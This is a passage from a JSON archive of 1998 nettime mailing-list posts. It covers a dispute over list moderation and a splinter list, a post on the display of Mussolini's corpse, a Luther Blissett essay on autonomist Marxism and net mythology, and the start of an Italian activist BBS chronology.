Guide:\nhttp://www.geocities.com/Area51/Rampart/6812\nlast updated: 6 September 1998\nNew documents and pics on the ramps!\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00065.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> on moderation and spams",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "follow-up": [
                    {
                        "from": "\"cisler\" <cisler {AT} pobox.com>",
                        "content": "\nI'm sticking with nettime (classic). I find the moderation as it has been\ncarried out to be desirable and not heavy-handed.  I don't mind that someone\nis starting a splinter group with a similar name, but I think it is bad net\netiquette to take a mailing list and automagically sign everyone up as has\nhappened with nettime free.  Because I don't have too much time to read\neveything and because of the involuntary subscription I have unsubscribed.\n\nSteve Cisler\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "id": "00069",
                        "date": "Mon, 12 Oct 1998 14:47:01 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199810121614.RAA03940 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00069.html",
                        "content-type": "text/plai",
                        "author_name": "cisler",
                        "subject": "Re: <nettime> on moderation and spams"
                    },
                    {
                        "from": "Stefan Wray <sjw210 {AT} is8.nyu.edu>",
                        "content": "\nAt 02:47 PM 10/12/98 +0100, cisler wrote:\n>I'm sticking with nettime (classic).\n\nMe too.\n\n>I find the moderation as it has been\n>carried out to be desirable and not heavy-handed.\n\nI agree. Filtering out Antiorp nonsense is fine with me. I don't have time\nfor jibberish from anonymous sources. There is enough jibberish from\npeople I know that I have to read. If people think this is against free\nspeech, now they can read as much nonsensical Antiorp jibberish as they\nwant on the other nettime list. \n\n>I don't mind that someone\n>is starting a splinter group with a similar name, but I think it is bad net\n>etiquette to take a mailing list and automagically sign everyone up as has\n>happened with nettime free.\n\nI also agree with this.\n\nFor moderators: how did they get the list of subscribers??? Was this not a\nprivate list?  Can you make it so no one can copy nettime-l addresses\nagain? \n\n>  Because I don't have too much time to read\n>eveything and because of the involuntary subscription I have unsubscribed.\n\nYes.... Why should I have to take the trouble of unsubscribing myself? If\nit was \"OK\" for whomever it was that stole the nettime-l addresses and\nthen started a new list to subscribe all those people, then I presume it\nis \"OK\" for someone else who knows how to, to simply unsubscribe all those\naddresses. Why should we all have to go in there and individually take our\nnames off? When we weren't asked in the first place? Can someone\nautomatically take people's addresses off the new list? \n\n- Stefan\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "id": "00072",
                        "date": "Mon, 12 Oct 1998 17:48:20 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199810121755.SAA05357 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00072.html",
                        "content-type": "text/plai",
                        "author_name": "Stefan Wray",
                        "subject": "Re: <nettime> on moderation and spams"
                    },
                    {
                        "from": "\"David S. Bennahum\" <davidsol {AT} panix.com>",
                        "content": "\nStefan wrote:\n\n>Yes.... Why should I have to take the trouble of unsubscribing myself? If\n>it was \"OK\" for whomever it was that stole the nettime-l addresses and\n>then started a new list to subscribe all those people, then I presume it\n>is \"OK\" for someone else who knows how to, to simply unsubscribe all those\n>addresses. Why should we all have to go in there and individually take our\n>names off? When we weren't asked in the first place? Can someone\n>automatically take people's addresses off the new list? \n\nI received a series of idiotic posts from nettime.free, and prompty \nunsubscribed while making a point of calling them assholes.  Assholes \nare people whose brains are located somewhere in their lower colons, \nthey exhibit traits of assholeness, such as taking the names on one \nmailing list and appropriating them for use on another mailing list \nwithout permission.  nettime.free is herby renamed nettime.assholes.  I \nherby submit this post gratefully to moderation.  Oh ye nettime gods, \nkill or forward this post as ye see fit.  Your will is law, and I accept \nit gratefully, for a list without law is a list of nettime.assholes.\n\n/d\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "id": "00074",
                        "date": "Mon, 12 Oct 1998 20:13:16 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199810121925.UAA06708 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00074.html",
                        "content-type": "text/plai",
                        "author_name": "David S. Bennahum",
                        "subject": "Re: <nettime> on moderation and spams"
                    }
                ],
                "message-id": "199810121309.OAA01507 {AT} basis.Desk.nl",
                "date": "Sun, 11 Oct 1998 16:48:55 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00055",
                "content": "\nTimothy K. Gallaher wrote:\n\n>And then in\n>>the 20th century Mussolini urged the Italian people to reconnect with\n>>their ancient conquering glories under the banner and label of\n>>\"fascism\", which they did until the bitter end when it became necessary\n>>to hang Mussolini upside down from a lamppost and cut him in half with\n>>machine-gun fire.\n\nRinaldo Rasa replied:\n>The exposure of the corpse of Benito\n>Mussolini and Claretta Petacci (her lover) was an inhuman event,\n>i agree.\n\nMy point of view is different.\n\nThe allied forces were about to reach Northern Italy, and many cowards who\nhad supported Mussolini for more than twenty years suddenly switched to\nantifascism. A few days after the Liberation, a lot of long-time members of\nthe National Fascist Party subscribed to clandestine antifascist parties\nand claimed to have fought in the Resistance. Although nobody had seen them\nin action, why split hairs? \n\nAccording to some witnesses, many of those who beat il Duce's corpse to a\nbloody pulp were far from being political opposers or former victims of\nfascist persecution - indeed, some of them had enthusiastically applauded\nMussolini's last speech in Milan, just one month before his death. \nThe exposure of those smashed corpses became one of the many great alibis\nand spectacular moves staged to cover the substantial coherence between the\ndefeated regime and the victorious one. Togliatti (general secretary of the\nCommunist Party) granted amnesty to every fascist psychopath imprisoned by\nthe Allies. The fascist Penal Code wasn't changed. The high bureaucracy of\nthe state remained exactly the same: the judges who had inflicted centuries\nof prison to antifascists simply swore their loyalty to the new Republic,\nand kept the power in their filthy hands. Even the 1948 Constitution, one\nof the most advanced in the world as far as civil and human rights are\nconcerned (although none of those principles was ever put into practice),\nreferred to the Concordat between Italy and the Vatican, which on the\ninitiative of Mussolini had acknowledged Catholicism as \"the only religion\nof the Italian state\".\n\nDespite this, I don't feel like blaming those men and women who honestly\nhated their former dictator, and couldn't help but going berserkr in\nPiazzale Loreto when they were able to lay their hands (and feet) on his\nbody. Remember that Mussolini had been one of the most untouchable scumbags\non earth: those people had been seeing the son of a bitch in the distance,\na small bald head waving fists like a demented spastic, speaking from\nplatforms and balconies surrounded by armed soldiers. \nThose people had been hearing his voice on the radio, full of ostentation,\nannouncing that he was going to send them and their husbands/sons/brothers\nto the bloodiest war in modern history. \nThey had been bumping into unbelievably ugly Mussolini statues and busts in\nevery street of their town. They knew that was the guy they had to thank\nfor the death of their beloved ones. Maybe some of them thought: 'Sure I'm\ngonna thank him someday!'\nWhat would've you done? Me, I would have kicked the shit out of the\ncankerous bastard, even if he was already dead. Human beings aren't saints.\nHuman beings aren't robots.\n\nSorry, I reckon this has little to do with net-culture.\n\n\n\nThe Luther Blissett Mythopoetic On-line Guide:\nhttp://www.geocities.com/Area51/Rampart/6812\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Thu, 17 Sep 1998 16:00:50 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809171539.QAA30601 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00055.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> The exposure of Mussolini's corps"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <tom9351 {AT} iperbole.bologna.it>",
                "id": "00079",
                "content": "\nSongs From The Wood\nNet-Culture, Autonomous Mythology and the Luther Blissett Project\n\nby F. P. Belletati\nAll rights dispersed\n\nkeywords:  mythology - class war - identity - sabotage\n\n\n_As Down Home As I Can Get_\n\n     The prime mover was a loose-knit current of Italy's Marxism labelled\n'operaismo' [workerism], which had absolutely nothing to do with the\nCommunist Party.\n     In the early 1960's the Operaisti started to investigate changes in\nthe sociological composition of the working class.  At that time, the young\nmass-worker of Fordist-Taylorist factories was still the tongue of the\ncompass, the most important segment of the proletariat. The operaista\nintervention in class struggle was based upon a participant observation of\nthe mass-worker's behaviour. The mass worker explicitly refused the older\ngeneration's work ethic and discipline. This insubordination was the main\nmover of conflict in the workplace. Sabotage was not invisible anymore:\nalong with moments of open struggle (strikes and demonstrations) there was\na flourishing of micro-tactics to slow down or stop the assembly line.\n     Operaisti were committed to studying those behaviours and defining the\ndialectics between class struggle and capitalist development which I'm\ngoing to sum up - taking some shortcuts. The continual confrontation\nbetween capital and living labour was the cause of all technological\ninnovations and changes in management, which would provoke further changes\nin the class composition, therefore the conflict would continue on a higher\nlevel.\n     After the so-called Hot Autumn (1969), a season of general strikes\nand radical struggles with millions of workers taking the streets,\nproletarian insubordination increased. Struggles became more and more\n'autonomous' (this was the adjective by which wildcat strikers would\ndescribe their occupations: \"assemblea autonoma\"). In 1973 the\nself-disbanding of the post-operaista group Potere Operaio [Workers' Power]\ngave origin to the scene renowned as autonomia operaia organizzata\n[organized workers' autonomy].\nDuring the 1970's, Italian Autonomia theorists (Toni Negri first among\nequals) started to investigate and define the existence and subversive\nbehavior of the 'operaio sociale'.\nSuch an ambiguous collective noun - hardly translatable into English -\nserved to describe both the youngest generations of industrial workers who\nhad broken away from the work ethic once and for all, and the whole cast of\nfrustrated service workers, 'proletarianised' students and white collars,\nunemployed wo/men and members of youth subcultures whose conflict was\nclearly 'anti-dialectical'.\n     'Anti-dialectical' means that self-organization, wildcat strikes,\noccupations and acts of sabotage did not take place within the realm of\nnegotiated class struggle, indeed, they even cut loose from the traditional\ndialectical bond between struggles and development, and challenged the\nrecuperative function of the unions and the Left's political control.\nIn order to repress those uncontrollable eruptions and outbursts (the 1977\nmovement above all), the ruling class had to impose a state of emergency.\nIt was a bloodbath. By the end of the decade, most militants had been\nkilled, thrown in prison, escaped from the country or started to shoot up\nheroin. But that's another story.\n     As some have suggested, from now on I'm going to use the term\n'composizionismo' instead of '[post-]operaismo', because the former is more\nprecise and does not automatically correspond to a particular segment of\nthe working class (the \"blue collars\").\n     The so-called 'third industrial revolution' made capital supercede\nthe fordist-taylorist paradigm, and turned information into the most\nimportant productive force.\n     Appealing to those passages of the *Grundrisse* where Karl Marx used the\nexpression 'general intellect', compositionists began to use such\ndescriptions as 'mass intellectual' and 'diffused intellectual' making\nreference to multifarious subjectivities in the new class composition.\n     'Mass intellectuals' are those people whose living labour consists,\nbroadly speaking, in a subordinated output of \"creativity\" and social\ncommunication (in compositionist jargon: 'immaterial work'). This segment\nof the operaio sociale ranges from computer programmers to workers of\nToyotist factories, from graphic designers to copy writers, from PR people\nto cultural workers, from teachers to welfare case-workers etc.\n     Negri's analysis in particular is based upon the 'prerequisites of\ncommunism' immanent to post-Fordist capitalism. By 'prerequisites of\ncommunism' Negri means those collective forms that are created by past\nstruggles and are constantly re-shaped by the workers' tendencies,\nattitudes and reactions to exploitation. Some of these forms even become\ninstitutions (e.g. those of the Welfare State), then they go through a\nseries of crises: social conflict created them, social conflict keeps them\nopen and necessarily unfinished. Their crisis reverberates on the whole\nsociety, so conflict continues on a higher level.\n     The most important prerequisite of communism is the collective\ndimension of  capitalist production, which brings about more social\ncooperation.\n     The stress must be laid upon the most strategic form of today's\nliving labour, i.e. 'general intellect', immaterial work, \"creativity\", you\nname it. 'General intellect' (unlike labour in Taylor's 'scientific\nmanagement') is self-activated. The mass intellectual's workforce is not\norganised by capital, because social communication is prior to\nentrepreneurship. Capital can only recuperate and subdue social\ncommunication, control the mass intellectuals from the outside after having\nacknowledged and even stimulated their creativity and far-reaching\nintelligence.\n     The conflict continues on the highest level: capital's\n\"progressive\" spur is over, autonomy is becoming a premise rather than a\ngoal.\n\n\n_The Common Being And The Net_\n=09\n     A compositionist approach to computer networking reveals that:\n- The Net's horizontal and trans-national development brings about a\npotentially autonomous social cooperation.\n- Most netizens fall within the anthropological, sociological and\neconomical descriptions of  'mass intellectuals'.\n- Today's Net landscape is the synthesis of many molecular insubordinations\nand some important molar victories, (e.g. the anti-CDA 'Blue Ribbon'\ncampaign) and is continually re-shaped by conflict.\n- The Net is also shaped by software piracy and copyright infringement:\nprivate property of ideas and concepts is challenged and often defeated. If\nany one of you is without copied or cracked programs, let them be the first\nto throw a stone at me.\n- As an \"institution\", The Net is going through a growth-crisis that is\nreflected upon the whole society. In its turn, this crisis is a mover of\nconflict.\n     In plain words, the Net seems to be the prerequisite of communism\n*par excellence*. This is not an uncritical utopian view of computer\nnetworking, of course there's a huge gap between the potential and the\nactual: work-force vs. work, *langue* vs. *parole*, capital vs. living=\n labour,\nconsumerism vs. social communication. The Net is the OK Corral. It's\nparadoxical that, after all the schmoozing about 'molecular revolution',\nwe're heading straight to a new molar impact.\nThe global anti-\"paedophilia\" mobilization is the state of emergency by\nwhich the powers that be want to gag netizens. The reappropriation of\nknowledge and the self-organization of mass intellectuals require the\ndefense of the Net from slanders and police raids. We must keep this\n\"institution\" unfinished and open to any possibility, prevent capital from\nfilling the abovementioned gap with censorship and commodification. It\nisn't just a liberal battle for free speech: it's class war.\n     But this is not enough yet. We've got to make history, no less -\nfill that gap with autonomy and self-organization. We also need myths,\nnarratives that incite mass intellectuals to take action. Each historical\nphase of class war needs propelling mythologies, there's nothing wrong with\nthat. Georges Sorel has been slandered and misunderstood for too long. As\nLuther Blissett put it:\n\n'...the trouble is not the \"falsehood\" of myths, but the fact that they\noutlive the historical forms of the needs and desires they channelled and\nre-shaped. Once ritualised and systematised, the imaginary becomes the\nmirror image of the powers that be. The myths of social change turn into\nfounding myths of the false community built and represented by the power\n[...] The myth of the \"Proletariat\" was rotten as well: instead of fighting\nfor the self-suppression of proletarians as a class, the communist movement\nhad mystical wanks over any sign of  \"proletarianship\", such as the\n\"hardened hands\" of the workers, or their \"morality\" [...] proletarians\nwere defined according to sociology and identified with blue collars\nthemselves at best, or with the \"poor\" of the Scriptures at worst, or even\nwith both figures, while Marx had written: 'Either the proletariat is\nrevolutionary, or it is nothing'. The direct consequences were Zdanov's\nSocialist Realism, puritanism, sexual repression vs. bourgeois \"decadence\",\nand all that shite.\nHowever, [...] the \"destruction of myths\" makes no sense, we must\nconcentrate our efforts in another direction: let the imaginary move,\nprevent it from crystallising, try to understand when and how myths are to\nbe deconstructed, dismembered or forgotten before the plurality of images\nis reduced to one and absolute. [...]'\n(*Mind Invaders: Come Fottere I  Media*, Rome, 1995 - a partial translation\navailable at <http://www.geocities.com/Area51/Rampart/6812>)\n\nWe need open, interactive... rhizomatic mythologies. But mythologies are\nalways created, modified and re-told by some community. What community are\nwe talking about here?\nLet's start again from 'general intellect'. 'General' means 'common',\nliterally 'belonging to the genus', i.e. wo/mankind, our species. In *On The\nJewish Question* and the *Economic And Philosophical Manuscripts* (1844),\nMarx appealed to two important concepts: *Gemeinwesen* (common being) and\n*Gattungswesen* (species-being). Class struggle, the self-suppression of\nthe proletariat as a class and, eventually, revolution were to overcome the\nalienation of human beings from their own *Gemeinwesen* and\n*Gattungswesen*, in order to build a global human community that coincided\nwith the species itself, beyond races and state-nations, beyond\ncitizenship. We cannot understand the compositionist theory which stems\nfrom the *Grundrisse* if we don't stick to Marx's humanistic idea of\ncommunity.\n\n\n_The Waldganger's Black Game_\n\nThe Luther Blissett Project consciously started as an experiment of\nnetworking as myth-making. 'Luther Blissett' is a multi-use-name that can\nbe adopted by anybody. The goal is an anthropomorphization of 'general\nintellect': since 1994 many people who don't even know each other have\nendlessly improved the reputation of Luther as a \"Homo Gemeinwesen\". And\nyet, as Bifo put it: 'One must not overvalue the importance of Luther\nBlissett. We could even say that Luther Blissett doesn't count for\nanything. All that really counts is the fact that we're all Luther Blissett\n[...]'.\n\nHere are some sub-mythologies studied and put into practice by Luther\nBlissett:\n\n1. The nordic myth of the *Waldganger*, the rebel who \"takes to the woods\".\nIn 1951 the German reactionary writer Ernst J=FCnger wrote a pamphlet titled\n*Der Waldgang*. J=FCnger described the society as ruled by plebiscitary\npatterns and panoptical systems of social control. In order to escape from\ncontrol, the rebel must go to the woods and organise resistance. In\nnineteen-fucking-fifty-one! What should we say nowadays? Echelon,\ninterceptions, video-surveillance everywhere, electronic records of our\nbank operations... Taking to the woods is more necessary than ever.\n     Some hacks have compared \"Luther Blissett\" to Robin Hood. Actually that\nhazy myth has much to do with multi-use-names. In XIIIth century England,\nSaxon peasants ill-treated by the Norman ruling class expressed their\nmalcontent and everyday resistance by ascribing many anonymous actions\n(real and imaginary) to one outlaw whose figure gradually became that of\n\"Robin Hood\". The surname suggests that this folk hero (at least at the\nbeginning) wore a hood - he had no face, he represented anyone. That's the\nway the myth works, though in the Middle Ages it could only bring temporary\nconsolation for a very limited *gemeinschaft*.\n\n2. Some other journalists described Luther Blissett as a \"pirate\" or a\n\"buccaneer\". It is an error. OK, net-culture and orthodox underground\nculture are clogged with maritime metaphors and, yes, \"pirate\" also means\nsomeone who illegally copies material protected by copyright. But Luther\nBlissett is a terrestrial myth. You don't breathe brackish air in the\nwoods. The sea is far away, maybe a utopian horizon to which the outlaw\ngradually moves.\n     If there's a utopian element in the Luther Blissett narrative, it\nis the utopia of the criminal class: 'fuck them over and take the French\nleave', as melancholically evoked in Gary Fleder's *Things To Do In Denver\nWhen You're Dead*, a gangster-movie whose characters greet each other\nsaying: 'Boat drinks!'. This is the happy end of all the movies whose\nprotagonists manage to pull a fast one (a fraud, a robbery...). In the last\nsequence you see them sailing around the Antilles, quietly sipping their\nDaiquiris.\n     Of course 'boat drinks!' can only be a propelling sub-mythology,\ncertainly not a realistic project, because there is no \"elsewhere\" left -\nmisery is all around. The epilogue of Jim Thompson's *The Getaway* is very\ninstructive. Sometimes one can achieve 'boat drinks!' though. Ronald Biggs,\nthe Englishman who made the Great Train Robbery of 1963, fled to Brazil\nand, as far as I know, he's still there. But the Waldganger is too far from\nthe sea, indeed, only those who stand in the middle of dry land can\ncultivate 'boat drinks!' as their utopia: 'This is Denver, what do you need\na boat for?'.\n\n3. The last recurrent description is 'cultural terrorist', which is less\nunacceptable but it is improper all the same, because 'terrorism' is a term\nthat the ruling class uses to defame anything and anybody, and also because\n\"terrorism\" and state repression always mirror each other (the ETA vs. the\nGAL, the Armed Islamic Group vs. the 'ninjas' of the Algerian Army etc.).\nThe dialectic between police state and \"terrorism\" is based upon emulation.\n     And yet, even the apparatus of the state can provide us with some\nuseful images. I'm talking about \"intelligence\" and black propaganda.\nMulti-use-name bearers from Italy and other countries often mention and\ncite a book, Ellic Howe's *The Black Game: British Subversive Operations\nAgainst the Germans During the Second World War* (Queen Ann Press, London,\nUK, 1982).\n     During WW2, Mr. Howe was the secret Political Warfare Executive's\nspecialist for the manufacture of printed fakes and forgeries. PWE's\ninstructions were to undermine the morale of German soldiers and civilians,\nby means of disinformation and psychological warfare. Thanks to a network\nof agents in the enemy-occupied territories, PWE issued fake NSDAP circular\nletters about feuds in the Party, bogus government edicts about desertion,\na frightening *Plague Booklet* supposedly published by the German Ministry\nof Health and leaflets advising the female army personnel not to have sex\nwith soldiers because of venereal diseases. PWE even produced half a dozen\nissues of *Der Zenit*, a bogus astrological magazine that dissuaded sailors\nfrom weighing anchor on a certain \"inauspicious\" day (of course it was the\ndate of some important naval operation). PWE also invented Gustav Siegfried\nEins aka *Der Chef*, a non-existent German dissident talking on a bogus\nclandestine radio station (actually the broadcasts were from the UK),\nentertaining the audience with invectives against nazi politicians and\ndetailed (albeit false) gossip about their sexual perversions.\n     Since the dawnings of the project, Luther Blissett has been playing\na black game like that. This is another viable mythology for mass\nintellectuals. Given the new molar dimension of conflict, this is the\nmolecular we can find and work with. Try to figure all those tricksters,\nimpostors and transmaniacs meeting up in the woods, spreading rumours and\nblack material, inoculating lethal viruses in the territories of this\nglobal electronic Fifth Reich and then... 'Boat drinks!'.\n\n\nSeptember 1998\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Mon, 21 Sep 1998 01:47:48 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809210123.CAA08997 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00079.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Songs From The Wood"
            },
            {
                "id": "00102",
                "content": "\nNew Interactive Communication and 'Antagonismo' in Italy\n\nBy Strano Network\n\nKeywords:  self-governance, co-operation, rhizomatic, cyber-rights\n\nIn this text we will try to explain how new digital technologies and the\nvalues of equality, self-governance and co-operation came together in\nItaly in the last two decades. We will describe the Italian portion of the\nbirth of a new global subject who has found in, and develops from digital\ncommunication new means and tools of social and political action.=20\n\nDuring the second half of the 70's and in the 80's, we saw two different\nstrands of social protest and rebellion:  the 'Autonomia' movement and\nPunk: two distinct movements always sizing each other up.  The former was\nrooted in the ongoing conflict with Italian political and economic\ninstitutions and was mostly based on a network of 'centri sociali\noccupati' (squatted community centres).\n\n=09The latter has been more of a loose network of individuals and\ngroups who made artistic experiences and events in the streets or\ngenerally with a social and 'against the establishment' attitude, e.g.\ngraffiti, mail art, low cost fanzines, music.  The concept of 'doing\nnetworks' and a deep interest in new languages and means of communications\nemerged first within the Punk scene.  Punk was an extremely spontaneous\ndevelopment, without any clear direction or recognisable organisational\nstructure.=20\n\nThe very first experiences of social uses of digital media were\ncharacterised either by a strategy of direct conflict against institutions\nor by the experimentation with new languages which might help evade\ninstitutional authoritarianism. Both kinds of experiences fought back\nagainst the \"New World Order' and its strategies of global exploitation\nand pointed out how the new means of digital communication have a\npotential for empowerment and equality.=20\n\nIn the following we present a short chronicle of the main events in the\ndevelopment of socially-aware uses of digital communication and of the\ninstitutional attempts to impede them. Due to space and time limitations,\nwe are unable to give a complete historical overview of the many who had a\nrole, e.g. we may only mention the PeaceLink network.  Instead we'll\nconcentrate on the European Counter Network (ECN), and CyberNet. In our\npoint of view, these are the two most interesting and influential\nexperiences we had in Italy.=20\n\nChronology\n\nMid-eighties. The group of people who a few years later will be involved\nin Decoder starts to meet and to discuss the social uses of BBS and\nnetworked communication;=20\n\n1985 Centro di Comunicazione Antagonista (Florence), Radio Onda Rossa\n(Rome), Vuoto a Perdere (Rome) meet to check the feasibility of a computer\nnetwork for the exchange of information related to activist movements. The\nattempt fails : in Italy it was too early.=20\n\n1986-89 The Decoder group (Milan) explores the possibility of opening a\nCyberNet area within Fidonet. They get in touch with a variety of European\ngroups (Vague, Chaos Computer Club, Encyclopaedia Psychedelica), from whom\nthey find out about the hacker meeting Icata89 whose 'ethical principles'\nthey later translate in the \"CyberPunk\" volume.=20\n\n1988 \"TV Stop\", a Danish group, make a proposal for a European\n'antagonista' (activist) network, the preliminary idea for the future ECN.\nClass War (UK), Radio Dreickland (Germany) Coordinamento Nazionale\nAntinucleare e Antiimperialista (Italy) are some of those who join in the\nefforts. \"Remote Access\" is chosen as the connecting software and is\ndecided the European network will be a federation of the national networks\nthat should be created..=20\n\n1989 The Decoder group tours North Italy in an attempt to convince a\nvariety of political and counterculture groups to develop a common\nnetwork. They fail.=20\n\n1989 Italy starts to be connected with the ECN (via Telix software).=20\n\n1989 (University Occupation Movement 'La Pantera'). A variety of meetings\nabout networking and its technologies and uses are organised all around\nItaly. The difference between two main strands of opinion emerges. The ECN\npeople see the network more as a new tool for political organisation and\naction. The Decoder group, people who are later with the Avana BBS in\nRome, the La Cayenna group in Feltri claim that networks change and extend\nhuman communication possibilities and urge people to explore what that\ncould mean.=20\n\n1990 The first European nodes of the E.C.N. were born in Italy: Padua,\nBologna, Rome, Milan. These nodes are almost exclusively made up of file\nareas used to exchange activist materials with only a few echomail areas\n(messages) used just to co-ordinate the structure.=20\n\nJuly 1990 At Sant'Arcangelo di Romagna Festival, during some lectures\norganised by Decoder, the Cyberpunk Anthology, published by ShaKe is\npresented. This book will soon became the basic document of the Italian\ncyberpunk movement and it is publicly acknowledged as a new possible\nsocial subject.=20\n\nDecember 1990 \"Hacker Art BBS\" was born: an artistic self-managed\ntelematic data base.=20\n\nJanuary 1991 Senza Confine BBS (No Boundary BBS) was born in co-ordination\nwith a Roman association bearing the same name.  The association was\nfounded by a European MP. of an Italian leftist party (Democrazia\nProletaria) that promotes the civil and legal defence of immigrants.=20\nSenza Confine BBS was born with messages and file areas dedicated to this\nsubject. In 1991 it became part of the P-net that was a common hobby\nnetwork with sympathies for the cyberpunk movement. When the cyberpunk\narea of the Fidonet was later closed down, Senza Confine BBS becomes the\nvehicle of cyberpunk area itself, amongst other various P-net nodes\npresent in almost every part of Italy. This situation lasted until the\nFlorence meeting during which it was decided to create a new independent\nnetwork (Cybernet) with gateways opened to all the networks' needs. In\nthis way it was possible to create a gateway from all Cybernet messages\nareas to both P-net and ECN. During the well-known Italian Crackdown in\n1994, Senza Confine BBS is the only BBS to remain unconfiscated, so it\nbecame a central point for all the telematic community of this region.=20\n\nMarch 1991 During the three day meeting \"I.N.K. 3D\", organised in the\nsquatted space Isole nel Kantiere in Bologna the new telematic message\narea Cyberpunk is presented.  It is hosted by a group of sysops from the\nhobbyist network Fidonet co-ordinated by the Fido Milan BBS sysop. During\n\"INK 3d\" in Bologna the cyberpunk area also opened up in the Fidonet BBS\nArci BBS. This area was closed down 2 days later by the BBS sysop after\nthe publication of an article on the newspaper \"La Repubblica\" in the\npages of Bologna section linking the cyberpunk area to information piracy.=\n=20\n\nApril 1991 the Lamer Xterminator BBS was founded in Bologna. It was part\nof the upcoming cyberpunk network, but completely independent from\nFidonet, taking messages directly from the BBS in Milan.  This was costly,\nand called for a network which would be totally independent from Fido.\nThis didn't happen, and Lamer BBS died one year later because of financial\nproblems. The Lamer Xterm activities group went on, however, until 1994,\nwith the aim of providing everyone with technology. The result of 3 years\nof work was 150 courses and workgroups on computer and information\ntechnology held on different levels at a political price and which took\nplace in the Bolognese underground movement.=20\n\nJune 1991 \"International meeting\" in Venice (proceedings are published by\nCalusca Edition in Padua in the same year). In this occasion about 2000\npeople (many of them representing national and international groups) met\nfor a period of three days to discuss and to face new activist forms in\nopposition to the emerging \"New World Order\". A specific section was\ndedicated to the new forms of telematic communication. This section was\nprincipally oriented to the projects of European Counter Network, but\nbesides the numerous nodes of this network, Hamburg's Chaos Computer Club,\nRadio Onda Rossa (Red Wave Radio), Link and Zerberus from Vienna, Decoder,\nAmen also took part in this meeting; there were also speeches on the\nInternet, Bitnet, Infonet and Peace-Net.=20\n\nSummer 1991 The E.C.N. starts carrying some material from the cyberpunk\narea.=20\n\nJuly 1991 At Sant'Arcangelo di Romagna Theater Festival the Shake -\nDecoder group organised the meeting & inter/active workshop \"All\ntechnologies to the people\".\n\nThe international workshop \"Inter-action\" decides to study media\ninteractivity and the necessity for horizontal communication. For this\nthey study the creation of laboratories for the diffusion of low price\ninfomatic and telematic technologies.=20\n\n1991 The annual report of the Italian secret service and Department of\nInterior covers activist telematics.=20\n\n1991 The ECN nodes linked themselves in a Fido network consistent with the\nzone number \"45\" and region number \"1917\". Digital material from BBS and\nactivist organisations comes to and leaves from this network from all over\nthe world but, so far it seems, no activist BBS networks have been\nestablished outside of Italy.=20\n\n1991-96 E.C.N. tries to also include realities that do not use digital\nmedia - digitising documents produced by these organisations. In this way\nthe network tries to link every area of the movement through telematic\nmedia. Its goals are modified as such to include the aims of the general\nactivist movements and not just those of Coordinamento Nazionale\nAntinucleare e Antiimperialista (Antinuclear and Antiimperialist National\nCo-ordination).  Between 1991 and 1992 ECN begin publishing, as paper\nzines and newspapers, the news that was previously only available on\ntelematic media. From 1993-94 it begins to develop the idea of a network\nthat is not a simple distribution service but also a new social and\npolitical subject.=20\n\nJune 1992 The importance of the cyberpunk movement gains media\nacknowledgement - getting a self-managed TV show called \"Mixer\" shown by\nRAI (the Italian national broadcasting company).=20\n\nJune 1992 First issues of Feltrinelli's Interzone books.=20\n\nSummer1992 The cyberpunk message areas are closed by the Fidonet's\nleaders, completely ignoring users' needs. This closure places in greater\ncontrast the difference of intentions between the cyberpunk area and\nFidonet's leaders. Amongst the reasons for the closure there is a visit\nfrom the police to a Fidonet sysop managing the cyberpunk message areas.=20\n\nDecember 1992 Law 518 on copyright passed. This weighs the institutional\nmanagement of 